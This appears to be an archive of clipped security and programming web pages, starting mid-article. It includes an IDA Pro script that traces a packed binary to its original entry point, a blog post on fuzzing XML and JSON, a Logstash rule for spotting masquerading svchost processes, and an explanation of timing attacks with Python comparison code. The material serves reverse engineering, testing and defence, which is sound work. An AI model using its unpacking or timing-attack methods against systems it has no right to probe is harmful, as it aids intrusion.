The auxiliar function  apply proc:Value×Value ∗ ×Store×Kont⇀Σ applies a
procedure to a value.

applyproc\(clo\(\(λ \(v 1 …v n \) body\),ρ\)⟨value 1 ,…value n ⟩,σ ,κ\)=
\(body,ρ ′ ,σ ′ ,κ\), where

a 1 ,…,a n are fresh addresses in σ ρ ′ =ρ\[v i ↦a i \] σ ′ =σ \[a i ↦value i
\].

#### Applying continuations

The auxilary function  applykont:Kont×Value×Store⇀State applies a continuation
to a return value:

applykont\(letk\(v,e,ρ,κ\),value,σ \)=\(e,ρ\[v↦a\],σ \[a↦value\],κ\),

where  a∉dom\(σ \) is a fresh address.

## As running code

I've transliterated the math here directly into working Racket code for a CESK
interpreter.

## Further reading

There are a few good books on implementing compilers and interpreters for
functional languages.

The classic MIT text, Structure and Interpretation of Computer Programs, is
worth the read:

Lisp in Small Pieces is a consistent recommendation in the courses I teach:

For advanced techniques, Appel's Compiling with Continuations remains my
favorite reference:

## Related pages

  * Order theory for computer scientists
  * HOWTO: Translate math into code
  * Writing CEK-style interpreters in Haskell
  * Closure conversion: How to compile lambda
  * How to compile with continuations
  * Understand exceptions by implementing them
  * A-Normalization: Why and How
  * Compiling up to the λ-calculus
  * Parsing with derivatives \(Yacc is dead: An update\)
  * By example: Continuation-passing style in JavaScript
  * 7 lines of code, 3 minutes: Implement a programming language
  * Architectures for interpreters
  * First-class macros from meta-circular evaluators
  * Programming with continuations by example
  * Compiling Scheme to C
  * Compiling to Java
  * Church encodings in Scheme
  * Non-termination without loops, iteration or recursion in Javascript
  * Memoizing recursive functions in Javascript with the Y combinator
  * Advanced programming languages
  * Recommended books and papers for grad students

* * *
\[article index\] \[email me\] \[@mattmight\] \[+mattmight\] \[rss\]

<img src='img/12906_q' /><img src='img/12908_q' /><img src='img/q' /><img
src='img/ir' /><img src='img/ir' /><img src='img/ir' />

# Hex-Rays IDA Page : Interactive Disassembler download page

**Created:**| _5/9/2009 12:45:40 PM_  
---|---  
**Updated:**| _5/9/2009 12:45:56 PM_  
**Author:**| __  
**Tags:**| _iDA automation scripting_  
  

Scriptable debugger  
---  
Since 2003 IDA Pro offers a debugger that complements the static analysis
nicely. In many cases, one just can't beat dynamic analysis. The IDA Pro
Debugger now supports 32-bit and 64-bit MS Windows executablesMS Windows,
Linux, Mac OS X both locally and remotely. However, because the debugger API
requires the mastery of our SDK and uses an event based model, it has proved
quite difficult to use for some of our users.

  * because the API uses an event based model makes it hard to program a linear sequence of actions in a natural way. The user is forced to install an event handler and to implement a finite state machine that implements the core logic of his plugin. While this may, in many ways, be a more powerful approach, this is probably too complex for more mundane tasks.
  * because the API is only available at the plugin level, the simplest debugger actions requires writing a plugin which is a much bigger investment of time and efforts than writing a small IDC script.

IDA 5.2 will address both issues. The old event based model will remain
available, but a simpler linear model will become available thanks to the
function **get\_debugger\_event\(\)**. This function pauses the execution of
the plugin \(or the script\) until a new debugger event happens. The user can
specify if she is interested only in the events that suspend the process or in
all events. A timeout can also be confifured, after which the execution will
continue if no event has arised.The new function allows us to drop the event
based model \(except in the cases when it is superior to linear logic\) and
write IDC scripts to control the debugger. For example, to launch the
debugger, run to a specific location, print some data and single step twice,
the following lines will suffice:

[code]

      AppBpt(some_address);
      StartDebugger("","","");         // start debugger with default params
      GetDebuggerEvent(WFNE_SUSP, -1); // ... and wait for bpt
      Message ("Stopped at %a, event code is %x\n", GetEventEA(), GetEventId());
      StepInto();                      // request a single step
      GetDebuggerEvent(WFNE_SUSP, -1); // ... and wait for app to execute
      StepInto();                      // request a single step
      GetDebuggerEvent(WFNE_SUSP, -1); // ... and wait for app to execute
    
    
[/code]

In IDA 5.1 this would have required a event handler and a small finite state
automata, for a total more than 200 lines of code. Please note that, in the
above example, the error handling code is omitted for clarity. In real life,
you might want to check for unexpected conditions like an exception happening
after StepInto\(\).To illustrate how easier it is to write scripts with the
new approach, we rwrote the core functionality of the UUNP unpacker plugin.
The original program requires about 600 lines of code and has a rather complex
logic. The new script only requires 100 lines of code \(almost half of them
being comments and empty lines\). More importantly, the script is easy to
understand and modify for your needs. This is a reimplementation of the uunp
universal unpacker in IDC. It illustrates the use of the new debugger
functions in IDA v5.2

[code]

    */
    
    #include <idc.idc>
    
    //--------------------------------------------------------------------------
    static main()
    {
      auto ea, bptea, tea1, tea2, code, minea, maxea;
      auto r_esp, r_eip, caller, funcname;
    
      // Calculate the target IP range. It is the first segment.
      // As soon as the EIP register points to this range, we assume that
      // the unpacker has finished its work.
      tea1 = FirstSeg();
      tea2 = SegEnd(tea1);
    
      // Calculate the current module boundaries. Any calls to GetProcAddress
      // outside of these boundaries will be ignored.
      minea = MinEA();
      maxea = MaxEA();
    
      // Launch the debugger and run until the entry point
      if ( !RunTo(BeginEA()) )
        return Failed(-1);
    
      // Wait for the process to stop at the entry point
      code = GetDebuggerEvent(WFNE_SUSP, -1);
      if ( code <= 0 )
        return Failed(code);
    
      // Set a breakpoint at GetProcAddress
      bptea = LocByName("kernel32_GetProcAddress");
      if ( bptea == BADADDR )
        return Warning("Could not locate GetProcAddress");
      AddBpt(bptea);
    
      while ( 1 )
      {
        // resume the execution and wait until the unpacker calls GetProcAddress
        code = GetDebuggerEvent(WFNE_SUSP|WFNE_CONT, -1);
        if ( code <= 0 )
          return Failed(code);
    
        // check the caller, it must be from our module
        r_esp = GetRegValue("ESP");
        caller = Dword(r_esp);
        if ( caller < minea || caller >= maxea )
          continue;
    
        // if the function name passed to GetProcAddress is not in the ignore-list,
        // then switch to the trace mode
        funcname = GetString(Dword(r_esp+8), -1, ASCSTR_C);
        // ignore some api calls because they might be used by the unpacker
        if ( funcname == "VirtualAlloc" )
          continue;
        if ( funcname == "VirtualFree" )
          continue;
    
        // A call to GetProcAddress() probably means that the program has been
        // unpacked in the memory and now is setting up its import table
        break;
      }
    
      // trace the program in the single step mode until we jump to
      // the area with the original entry point.
      DelBpt(bptea);
      EnableTracing(TRACE_STEP, 1);
      for ( code = GetDebuggerEvent(WFNE_ANY|WFNE_CONT, -1); // resume
            code > 0;
            code = GetDebuggerEvent(WFNE_ANY, -1) )
      {
        r_eip = GetEventEa();
        if ( r_eip >= tea1 && r_eip < tea2 )
          break;
      }
      if ( code <= 0 )
        return Failed(code);
    
      // as soon as the current ip belongs OEP area, suspend the execution and
      // inform the user
      PauseProcess();
      code = GetDebuggerEvent(WFNE_SUSP, -1);
      if ( code <= 0 )
        return Failed(code);
    
      EnableTracing(TRACE_STEP, 0);
    
      // Clean up the disassembly so it looks nicer
      MakeUnknown(tea1, tea2-tea1, DOUNK_EXPAND|DOUNK_DELNAMES);
      MakeCode(r_eip);
      AutoMark2(tea1, tea2, AU_USED);
      AutoMark2(tea1, tea2, AU_FINAL);
      TakeMemorySnapshot(1);
      MakeName(r_eip, "real_start");
      Warning("Successfully traced to the completion of the unpacker code\n"
              "Please rebuild the import table using renimp.idc\n"
              "before stopping the debugger");
    }
    //--------------------------------------------------------------------------
    // Print an failure message
    static Failed(code)
    {
      Warning("Failed to unpack the file, sorry (code %d)", code);
      return 0;
    }
    
    
[/code]  
---

# GNUCITIZEN » Fuzzing XML and JSON Pt.1

**Created:**| _12/13/2012 3:02:40 PM_  
---|---  
**Updated:**| _12/13/2012 3:02:40 PM_  
**Author:**| __  
**Tags:**| _xml json fuzzing_  
  
  

## Fuzzing XML and JSON Pt.1

published: December 13th, 2012

_It is hard to get back to blogging especially when there are easier
alternatives to scratch your itch – I am talking abouttwitter. However, I
decided to make the effort and see where it takes me. It will be difficult
initially but practice leads to continuous improvement._

What I would like to do is to highlight some of the work I did to take two
relatively simple and straightforward penetration testing practices to the
next level: this is XML and JSON fuzzing. If you have worked as a penetration
tester or you have been moderately interested in web security you should have
encountered a web service written on top of either of these technologies.

Both JSON and XML are slick beasts. They are both structured data containers
and rely on well-formatted documents in order to be processed successfully.
There is very little room for movement out of the spec and in fact they are
both error intolerant. Most parsers will explode even on the tiniest errors in
the document structure, such as for example if you leave a comma on the last
item of an array inside a JSON structure. The reason I am mentioning this is
because this is the basis of the two core fuzzing strategies – as I define
them.

The first strategy is to concentrate on finding bugs in the actual
parser/processor. In this case we will aim to submit ill-formatted documents
and observe for strange behaviour. The types of problems typically discovered
through this strategy are memory corruption bugs. The reason for this is
because even in 2012 strings are still difficult to deal with and both formats
are human-readable and rely heavily on processing text. Even binary input is
represented textually.

The second strategy is to concentrate on finding bugs after the document has
been parsed/processed. In this case we will aim to submit unexpected input but
still stick to the format and the specifications of the document. This
strategy is used to discover a lot wider range of bugs depending on how the
structured data is used later on inside the application. The types of bugs
discovered will depend on the targeted platform, language and all kinds of
other things.

Both strategies can be mixed. However, from personal experience, I believe
that you will be better off if you don’t because things can get quite
confusing and you may not be able to setup all necessary measurement equipment
correctly in order to find actual bugs or extract any useful data.

The first strategy I tend to leave it in the realm of research. The reason for
this is because there are not that many parsers for both JSON and XML. Each
programming language usually offers a few libraries which are widely adopted.
Fuzzing these libraries will get us bugs which apply to all applications that
make use of them – i.e. research in my opinion. On the other hand, the second
strategy is targeted towards specific applications and platforms. And this is
what I will mainly concentrate on for the rest of this series of articles.

As I discussed earlier this “second”, so-to-say, strategy is all about sending
unexpected input but still keeping the document well formatted. So what is
unexpected input? Well unexpected input is everything from very large numbers
to very small ones \(MIN\_INT, MAX\_INT, UNSIGNED MAX\_INT, LONG, etc\).
Unexpected input is also logical values such as true and false, the special
atom nil, null and 0 and 1. Some other unexpected values could be empty data
structures where a value is expected such as when sending empty array but the
application expects a number or a string. The list goes on and on and you can
spend weeks tuning a fuzzer to find more interesting stuff by incorporating
more unexpected input.

It is fair to say that not all unexpected values are equal. Some values are
more likely to cause strange behaviour than others and this all depends on the
target platform. Let’s take JSON for example. In JSON we have 2 main
structured containers: `{}` – object and `[]` – array. Now, Java applications
typically map/unmarshall JSON structures to classes. Therefore if we have a
class which has public member variable `"a"` of type integer but we send an
empty object, an exception will be raised before the input is even processed
by the application. This is not quite like that in other programming languages
which are not so strictly typed. For example, in PHP the developer may expect
an integer but actually the parser will produce an array and while this will
cause an error at some point later inside the application it will not
immediately explode during parsing. This kind of conditions are very
interesting.

So why I am mentioning this? Well, typically a fuzzer will generate a lot of
combinations. Some of them may be fruitful. Most of them will be waste of
time. However, by knowing what we are up against we can tune the fuzzer to be
smarter and as a result of this a lot faster and more fruitful – I rather
spend manually analysing 1000 results than 1000000.

I think I am running out of energy. After so many years of silence this post
looks quite lengthy. Btw, such fuzzers exist. You can find one as part of the
Websecurify Online Suite and you can go ahead and try it for free now. Both
JSON and XML are well supported. The reason I am mentioning this is because
the rest of the series will concentrate on exploring how these fuzzers work
and what kind of vulnerabilities we can find with them.

  

# Threat Hunting for Masquerading Windows Processes » Checkmate

**Created:**| _9/4/2017 9:31:26 AM_  
---|---  
**Updated:**| _9/4/2017 9:31:26 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

# Threat Hunting for Masquerading Windows Processes

Incident Response, Research, Tools Add comments .

Aug 102017

.

An important aspect of effective threat hunting is to understand what is
normal in an environment. If a threat hunter is able to baseline the normal
behaviour in a system then any abnormality is most likely due to an actor that
has newly entered the environment. This actor could be a new software
installation, new user or an attacker.

On endpoints, the execution of certain Windows processes is well documented.
If we can map out the normal execution behaviour of these processes then we
can easily flag execution of similar looking – but abnormal – processes on the
systems. To confuse incident responders and analysts, attackers nowadays
resort to the use of executables with similar names as the system processes.
So, a cursory glance by the user or investigator may not identify a malicious
piece of binary on the system. This technique which is popular among APT and
malware groups like APT1, Carbanak, Elise etc. is called as ‘Masquerading’.

**In this post, we shall look at behaviour patterns and features of some
Windows system processes and how we can embed that knowledge into a ‘rule’ to
then identify any process which does not conform to the rule.**

We shall use below components to conduct the hunt:

  * **Sysmon:** This Sysinternals tool is an excellent windows event logger. It can generate detailed logs of process execution events on a Windows system.
  * **Winlogbeat:** This is a log shipper of Windows events. It is part of the Elastic stack.
  * **ELK stack:** The analytics and visualization platform. This framework will be used as our ‘Threat Hunting’ platform. Logs generated on Windows systems by Sysmon will be shipped to ELK stack by the winlogbeat shipper.

For this blogpost, we will not cover ‘Windows Processes internals’ in depth,
but if this post makes you curious about it, we would recommend reading the
excellent Windows Internals Part 1 and Part 2 by Mark Russinovich, who is also
the author of Sysmon and the larger sysinternals toolkit.

Let us take an example of the smss.exe process on Windows. This service refers
to ‘Session Manager’ and has the following characteristics

  * It is the first user mode process.
  * The parent process must be **System**
  * It loads from **%systemroot%\System32\smss.exe**
  * Username should be: **NT AUTHORITY\SYSTEM**
  * It creates two sessions: Session 0 – OS services and Session 1 – User Session
  * Session 1 will exit after loading csrss.exe and winlogon.exe. \(_Hence, these two processes will not have a parent process_\)
  * Only one smss.exe with **session 0** should be running. \(If there are more than one instances running, that means either it is fake or more than one user is logged on to that system\).

Many of these details can be checked with the Sysinternals Procexp.exe
utility.

<img src='img/Temp2_8380.png' width='433' height='556' />

Now that we know how a genuine Windows smss.exe process looks like, we can use
this information to hunt for any other smss.exe process in the entire
infrastructure which does not match these features. In our case, we are
specifically hunting malicious processes which are masquerading as a genuine
process. A common technique to identify such binaries is to look at their
parent process name and their path of execution. A list of standard Windows
processes along with their parent process and execution path is provided below
for reference. You can refer to the SANS Find Evil Poster for more details.

**\#** | **Image Name** | **Image Directory** | **ParentImage**  
---|---|---|---  
1 | svchost.exe | C:\Windows\System32\ | C:\Windows\System32\services.exe  
2 | smss.exe | %Systemroot%\System32\ | System  
3 | csrss.exe | %SystemRoot%\system32\ | –  
4 | wininit.exe | %SystemRoot%\system32\ | –  
5 | services.exe | %SystemRoot%\System32\ | %SystemRoot%\System32\wininit.exe  
6 | lsass.exe | %SystemRoot%\System32\ | %SystemRoot%\System32\wininit.exe  
7 | svchost.exe | %SystemRoot%\System32\ | %SystemRoot%\System32\services.exe  
8 | lsm.exe | %SystemRoot%\System32\ | %SystemRoot%\System32\wininit.exe  
9 | winlogon.exe | %SystemRoot%\System32\ | –  
10 | explorer.exe | %SystemRoot%\ | –  
11 | taskhost.exe | %SystemRoot%\System32\ | %SystemRoot%\System32\wininit.exe  
_Table 1Windows Processes_

Sysmon can be used to generate the full process execution logs. Below is the
list of log events generated by Sysmon.

**Event IDs** | **Event Class**  
---|---  
1 | Process Create  
2 | Process Terminate  
6 | Drive Load  
7 | Image Load  
2 | File Creation Time Changed  
3 | Network Connection  
8 | CreateRemoteThread  
9 | RawAccessRead  
_Table 2 Sysmon Event IDs_

We will be focusing on **Event ID 1** which is generated on every new process
creation. We will get these logs into ELK via Winlogbeats.

Logstash can be used to analyse and tag events which do not match the above
rule pattern. Taking the example of SVCHOST.EXE, we note that its parent
process name is “SERVICES.EXE” and it is executed from the System32 directory.
This can be defined as a ‘rule’ in logstash as shown below.

**if “svchost.exe” in \[event\_data\]\[Image\] and
\(\[event\_data\]\[CurrentDirectory\] \!~**  
**/\(?i\)C:\\\Windows\\\System32\\\$/ or \[event\_data\]\[ParentImage\] \!~**  
**/\(?i\)C:\\\Windows\\\system32\\\services.exe$/\) \{******  
**mutate \{******  
**add\_tag = > \[“suspicious process found”\]******  
**\}******  
**\}**

Whenever we come across a process with the name svchost.exe which is not
executed from the C:\Windows\System32\ directory or which does not have a
parent process called services.exe \(which itself was launched from
C:\Windows\System32\ directory\), then a tag is added to the event for further
review and investigation.

Note: The “C:\” is hard coded with the assumption that majority systems have
Windows OS installed on C drive

If you are unaware of the logstash configuration file syntax, you can refer to
these articles:

https://www.elastic.co/guide/en/logstash/current/configuration-file-
structure.html

https://www.elastic.co/guide/en/logstash/current/event-dependent-
configuration.html

We can create similar rules for other system processes as well. A simple
metric count visualization can now be created for this tag \(_suspicious
process found\)_. Anytime the count increase, we know there’s something funny
going on in the infrastructure.

<img src='img/Temp2_8379.png' width='613' height='371' />_Figure 1: Tags:
suspicious process found in Kibana_

<img src='img/Temp2_8378.png' width='668' height='356' />_Figure 2: Co-
relating found suspicious process_

In subsequent posts, we will explore setting up and configuring Sysmon and ELK
to provide a complete threat hunting cycle. Till then Happy Hunting\!  
---  
.

.

#### Arpan Raval

<img src='img/82e463368674c5b53fbc7afaa1a80e3b.jpg' width='64' height='64' />.

Posted by Arpan Raval at 2:31 pm Tagged with: Elasticsearch, ELK, Kibana, Log
Analysis, ThreatHunting .

###  3 Responses to “Threat Hunting for Masquerading Windows Processes”

  1. <img src='img/46039eca9b6d9b635dbebb31b673b526.jpg' width='48' height='48' />
Dhaval Kamani says:

August 13, 2017 at 6:24 pm

.

Very good threat hunting article\!

Reply

  2. <img src='img/46039eca9b6d9b635dbebb31b673b526.jpg' width='48' height='48' />
Peter says:

August 14, 2017 at 8:39 pm

.

excellent post. Thank you so much\! I can’t wait for the next article.

Reply

  3. <img src='img/46039eca9b6d9b635dbebb31b673b526.jpg' width='48' height='48' />
Ankit says:

August 15, 2017 at 12:50 pm

.

This is very helpfull. Nice one @Arpan Raval

Reply

.

###  Leave a Reply

Your Comment

You may use these HTML tags and attributes: `<a href="" title=""> <abbr
title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del
datetime=""> <em> <i> <q cite=""> <s> <strike> <strong> `

Name \(required\)

E-mail \(required\)

URI

.

  

  *[HTML]: HyperText Markup Language

# Timing-independent array comparison

**Created:**| _1/8/2010 4:31:28 PM_  
---|---  
**Updated:**| _1/8/2010 4:31:51 PM_  
**Author:**| __  
**Tags:**| _python crypto_  
  

### Timing-independent array comparison

Filed under: Crypto, Hacking, Network, Security, python — Nate Lawson @ 3:54
pm  

I find it interesting that people tend to follow the same stages of awareness
when first hearing about timing attacks. A recent discussion about Django
redesigning their cookie scheme shows people at the various stages.

**1\. The timing difference is too small to attack**

This is the result of not understanding statistics or how jitter can be
modeled and filtered. Usually, people are thinking that a single measurement
for a given input is probably obscured by noise. This is correct. That’s why
you take many measurements for the same input and average them. The more
noise, the more measurements you need. But computers are fast, so it doesn’t
take long to do thousands or even millions of runs per guessed byte.

The basic statistical method is simple. You apply a hypothesis test of the
mean of all runs with a given guess for a byte \(say, 0\) against the mean for
all the others \(1, 2, …, 255\) If there is a significant difference in the
means, then you have guessed that byte correctly. If no difference, repeat for
the other 255 values. If still no difference, take more measurements.

The other misconception is that jitter is too great to get anything useful out
of the measurements, especially in a network. There is an excellent paper
byCrosby and Wallach that debunks this myth by carefully analyzing noise and
its causes as well as how to filter it. They conclude that an attacker can
reliably detect processing differences as low as 200 nanoseconds on a LAN or
30 microseconds on a WAN given only 1000 measurements. If your server is
hosted somewhere an attacker can also buy rackspace, then you are vulnerable
to LAN timing attacks.

**2\. I’ll just add a random delay to my function**

Then I’ll take more measurements. See above.

**3\. I’ll add a deadline to my function and delay returning until it is
reached**

This usually has a higher overhead and is more prone to errors than
implementing your function such that its timing does not vary, based on the
input data. If you make a mistake in your interval calculation or an attacker
is able to “stun” your function somewhere in the middle such that all target
computations occur after the interval timer has expired, then you’re
vulnerable again. This is similar to avoiding buffer overflow attacks by
lengthening the buffer — better to fix the actual problem instead.

**4\. Ok, ok, I developed a constant-time function**

How carefully did you analyze it? After citing my Google talk on crypto flaws,
here was one attempt from the Reddit thread:

[code]

    def full_string_cmp(s1, s2):
        total = 0
        for a, b in zip(s1, s2):
            total += (a != b)
        return not total
    
    
[/code]

The first bug is that this opens a worse hole if the two strings are not the
same length. In fact, an attacker can send in a zero-length string and the
result of zip\(\) is an empty array. This results in the for\(\) loop never
executing and any input being accepted as valid\! The fix is to check the two
lengths first to make sure they’re equal or in C, compare two fixed-length
arrays that are guaranteed to be the same size.

The next bug is smaller, but still valid. There’s a timing leak in the
comparison of a and b. When you write:

[code]

    total += (a != b)
    
[/code]

Both Python and a C compiler actually generate low-level instructions
equivalent to:

[code]

    if (a != b)
        tmp = 1
    else
        tmp = 0
    total += tmp
    
    
[/code]

Thus, there is still a small timing leak. If they are equal, an additional
branch instruction is executed. If they are not equal, this is skipped. A
common intuitive mistake among programmers is that single lines of code are
atomic. This is why you might find a C version of this such as “total += \(a
\!= b\) ? 1 : 0″, which generates the same code. Just because it fits on a
single line does not mean it is atomic or constant-time.

**5\. Ok, I fixed those bugs. Are we done yet?**

Let’s see what we have now \(adapted from my keyczar posting\).

[code]

    if len(userMsg) != len(correctValue):
        return False
    result = 0
    for x, y in zip(userMsg, correctValue):
        result |= ord(x) ^ ord(y)
    return result
    
[/code]

This now uses an arithmetic operator \(XOR\) instead of a logical compare
\(\!=\), and thus should be constant-time. The += operator could possibly have
a leak if carries take longer than an add without carry, so we went with |=
instead. We check the lengths and abort if they don’t match. This does leak
timing information about the length of the correct value, so we have to make
sure that is not a problem. Usually it’s not, but if these were passwords
instead of cryptographic values, it would be better to hash them with PBKDF2
or bcrypt instead of working with them directly. But are we done?

Maybe. But first we need to figure out if our high-level language has any
behavior that affects the timing of this function. For example, what if there
is sign-bit handling code in the Python interpreter that behaves differently
if x or y is negative? What if the zip\(\) operator has an optimization that
compares two arrays first to see if they’re identical before returning their
union?

The answer is you can never be sure. In C, you have more assurance but still
not enough. For example, what if the compiler optimization settings change? Is
this still safe? What about the microarchitecture of the CPU? What if Intel
came out with a new byte-wise cache alignment scheme in the Pentium 1000?

I hope this has convinced some people that side channel attacks are not easily
solved. Important code should be carefully reviewed to have higher assurance
this class of attack has been mitigated.

  

# KEmuFuzzerKEmuFuzzer is protocol-specific fuzzer for system virtual
machines. KE

**Created:**| _6/20/2010 10:27:00 PM_  
---|---  
**Updated:**| _6/20/2010 10:27:24 PM_  
**Author:**| __  
**Tags:**| _Exploit Linux Fuzzer software testing virtusalisation network-
security Lab-Setup_  
  

# KEmuFuzzer

KEmuFuzzer is protocol-specific fuzzer for system virtual machines. KEmuFuzzer
generates floppy images to boot a virtual machine and to execute a specific
test-case. The same test-case is executed also in an  _oracle_ , based on
hardware-assisted virtualization. The states obtained are compared to detect
defects in the virtual machine. Test-cases are generated using a special
compiler that applies certain mutations before compiling.<img
src='img/Temp2_4748.png' width='500pt' />KEmuFuzzer currently supports:

  * BOCHS
  * QEMU
  * VMware
  * VirtualBox

The release include:

  * KEmuFuzzer source code \(including compiler and kernel\)
  * Patches for:
    * BOCHS 2.4.1
    * QEMU 0.11.0
    * VirtualBox OSE 3.0.8 \(Ubuntu\)
  * Sample test-cases

We are not releasing the oracle. Use vanilla KVM instead \(we recommend the
latest development release and a CPU with EPT support\).

Contact Lorenzo Martignoni and Roberto Paleari for suggestions, criticisms,
and bug reports.

# Wolfotrack – INL software

**Created:**| _3/16/2011 9:43:21 PM_  
---|---  
**Updated:**| _3/16/2011 9:43:21 PM_  
**Author:**| __  
**Tags:**| _Firewalls Logs_  
  

  * Start Page
  * Index
  * History
  * Last Change

* * *
# Wolfotrack

<img src='img/wolfotrack.png' />

Wolfotrack is enhancement on top of the famous Wolfenstein 3d game to link it
with the Netfilter connection tracking library.

Each person is linked to a connection from the conntrack table if it exists.
Everytime a door is opened this connection tracking table is refreshed.

\[http://www.youtube.com/watch?v=z3zRnHPFPrc See Youtube video to see
wolfotrack in action\]

## Download

  * **\[ http://software.inl.fr/releases/wolfotrack/wolfotrack-1.1.tar.gz**

**Download stable release \(wolfotrack-1.1.tar.gz\)\]**

  * Browse source code
  * Download development version using Subversion: 
[code]    svn co http://software.inl.fr/svn/mirror/tools/wolfotrack

    
[/code]

  * Shareware data files:

http://www.wallinfire.net/files/wolf3d-data\_nupik-shareware.tar.gz

## Wall of quotes

[code]

    "With wolfotrack, I look forward new connections. Banning p2p has
    never been so fun !"
       -- Pascal Terjan, Mandriva kernel team
    
    "Obviously the most significant new firewall GUI for productivity
    increases and stopping real time attacks, since X-Window came out...
    the best way for firewall admins to understand what's going on, track
    it down, and kill it."
       -- Dragos Ruiu, (Can|Eu|Pac)Sec(West|) organizer
    
    "Wolfotrack is the synthesis of the tremendous INL's experience on firewall GUI.
    It overruns all existing interfaces by providing amazing productivity increase
    for firewall administrator"
       -- Eric Leblond, NuFW author and INL co-founder
    
    "Wolfotrack is the most comprehensive, cutting edge, visionary tool for
    slaying evil guys connections as they come through, in real time, before
    they can harm you for good."
       -- Cedric Blancher, Computer Security Researcher
    
    "Wolfotrack is the definitive tool of the IT industry to enhance
    real-time interactive firewalling. Never ever the system administrator
    had that much fun protecting his network. This game truly proves how
    easy can be to use of the next generation Netfilter firewall GUI."
       -- Pablo Neira Ayuso, Netfilter core-developer
    
    
[/code]

## Compile and use

You need the
\[http://www.netfilter.org/projects/libnetfilter\_conntrack/index.html
libnetfilter\_conntrack\] and the SDL library.

The Makefile is generated using cmake:

[code]

    cmake .
    
[/code]

Now, you can compile the software with :

[code]

    make
    
[/code]

You can now copy **sdlwolf3d** inside the data directory.

After, you must activate the connection tracking using:

[code]

    # iptables -A OUTPUT -m state --state ! INVALID -j ACCEPT
    
[/code]

However, if you really want to kill your connections, you can use:

[code]

    # iptables -P INPUT DROP
    # iptables -P OUTPUT DROP
    # iptables -A OUTPUT -m state --state ! INVALID -j ACCEPT
    # iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
    
[/code]

And do not forget to run wolfotrack as root ;-\)

[code]

    $ sudo ./sdlwolf3d x3
    
[/code]

## Other Netfilter conntrack handling tools

  * conntrack-tools : A set of command line utils and daemon to handle conntrack.
  * NuConntrack: Daemon and web interface to list and modify conntrack entries.

### Attachments

  * wolfotrack.png \(47.9 kB\) - added by _toady_ 3 years ago.

# bruce30262/TWindbg

**Created:**| _9/4/2017 9:47:34 AM_  
---|---  
**Updated:**| _9/4/2017 9:47:34 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

###  README.md

<img
src='img/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f507974686f6e2d322e372d677265656e2e737667'
width='76' height='20' alt='Python 2.7' /> <img
src='img/68747470733a2f2f636f6465636c696d6174652e636f6d2f6769746875622f627275636533303236322f5457696e6462672f6261646765732f6770612e737667'
width='110' height='20' alt='Code Climate' /> <img
src='img/68747470733a2f2f636f6465636c696d6174652e636f6d2f6769746875622f627275636533303236322f5457696e6462672f6261646765732f69737375655f636f756e742e737667'
width='180' height='20' alt='Issue Count' /> <img
src='img/13227_68747470733a2f2f696d672e736869656c64732e696f2f62616467652f6c6963656e73652d4d49542d626c75652e737667'
width='78' height='20' alt='MIT License' />

# TWindbg

PEDA-like debugger UI for WinDbg

<img src='img/context.PNG.png' width='888' height='644' alt='context img' />

# Introduction

This is a windbg extension \( using pykd \) to let user having a PEDA-like
debugger UI in WinDbg.  
It will display the following context in each step/trace:

  * Registers
  * Disassembled code near PC
  * Contents of the stack pointer \( with basic smart dereference \)

It also supports some peda-like commands \( see the support commands section
\)

For now it supports both x86 & x64 WinDbg.

# Dependencies

  * Python2.7 \( The extension has NOT been tested on Python3 \)
  * pykd

# Installation

  * Install Python2.7 & pykd
  * Download the repository
  * Install the matrix theme by double-clicking the matrix\_theme.reg
    * The matrix theme is required for letting the color theme work in TWindbg
    * You can preview the theme by importing the matrix\_theme.WEW workspace into WinDbg.
  * Copy the TWindbg folder into ` [WinDbg Directory]\x64\winext\ ` & ` [WinDbg Directory]\x86\winext\ `

# Usage

## Launch TWindbg manually

  * Open an executable or attach to a process with WinDbg
  * Use ` .load pykd.pyd ` to load the ` pykd ` extension
  * Use ` !py -g winext\TWindbg\TWindbg.py ` to launch TWindbg

## Launch TWindbg with command

[code]

    [PATH_TO_WINDBG] -a pykd.pyd -c "!py -g winext\TWindbg\TWindbg.py"
    
[/code]

Or you can write a simple batch file for the sake of convenience.

After that you can just use ` t ` or ` p ` to see if the extension is working.

# Support Commands

  * ` TWindbg `: List all the command in TWindbg
  * ` ctx `: Print out the current context
  * ` tel / telescope `: Display memory content at an address with smart dereferences <img src='img/tel.PNG.png' width='856' height='156' alt='tel img' />

# Note

Maybe \( just maybe \) I'll add more command to make WinDbg behave more like
PEDA \( or other debugger like pwndbg, GEF... \) in the future.

  

# CyberChef

**Created:**| _12/21/2016 9:21:12 AM_  
---|---  
**Updated:**| _12/21/2016 9:21:12 AM_  
**Author:**| __  
**Tags:**| _security tools_  
  

  

#### CyberChef - The Cyber Swiss Army Knife

<img src='img/Temp2_1770.png' width='128' height='128' />

Compile time: 20/12/2016 20:17:20 UTC

© Crown Copyright 2016.

Licenced under the Apache Licence, Version 2.0.

  
  

  * <img src='img/Temp2_1771.png' width='16' height='16' /> FAQs
  * <img src='img/Temp2_1769.png' width='16' height='16' /> Stats
  * <img src='img/Temp2_1772.png' width='16' height='16' /> About

  

> What sort of things can I do with CyberChef?
> Can I load input directly from files?
> How do I run operation X over multiple inputs at once?
  

# Software Preservation Society - News | 2011-09-03
**Created:**| _9/3/2011 11:46:55 AM_  
---|---  
**Updated:**| _9/3/2011 11:46:55 AM_  
**Author:**| __  
**Tags:**| _steg_  
  

# Duplicator Info \(DI\)

_2011-09-03_

With C64 support around the corner, people are actually wondering why titles
should be redumped, with several other projects already dumping C64 disks.

Commercial games were usually copied at replicators that used many automated
machines for high volume output. Such machines were produced by several
companies with Trace Products \(today: Trace Digital\) being the largest with
an estimated 80% market share.

Since Trace was established in 1983, it’s no surprise that even early titles
for the C64 and others were, contrary to popular belief, replicated on
professional equipment. This means that many disks were not created on a 1541,
but instead on highly specialised equipment that could write flippy disks in
one pass. It was also very common to replicate disks at double speed with the
drives running at 600 RPM. Wouldn’t it be great to access this information as
well and use it for proper preservation instead of guessing and disassembling
to find out?\!

Proof’s actually out there, present on nearly every disk duplicated. Still,
very few people have ever seen such information, because it is - by design -
unreadable on the target system. As this information is of no use to the
consumer \(worst case: contains information on where the copy protection is
placed\) it is obfuscated by chosing a different encoding scheme that will
look like noise and can only be read with a specialised controller \(KryoFlux,
anyone?\). To disguise it even more, such information can be placed in the
middle of an otherwise unformatted track where it will be invisible to
standard controllers. This information will get lost and can’t be accessed
when using e.g. a 1541 to dump a disk.

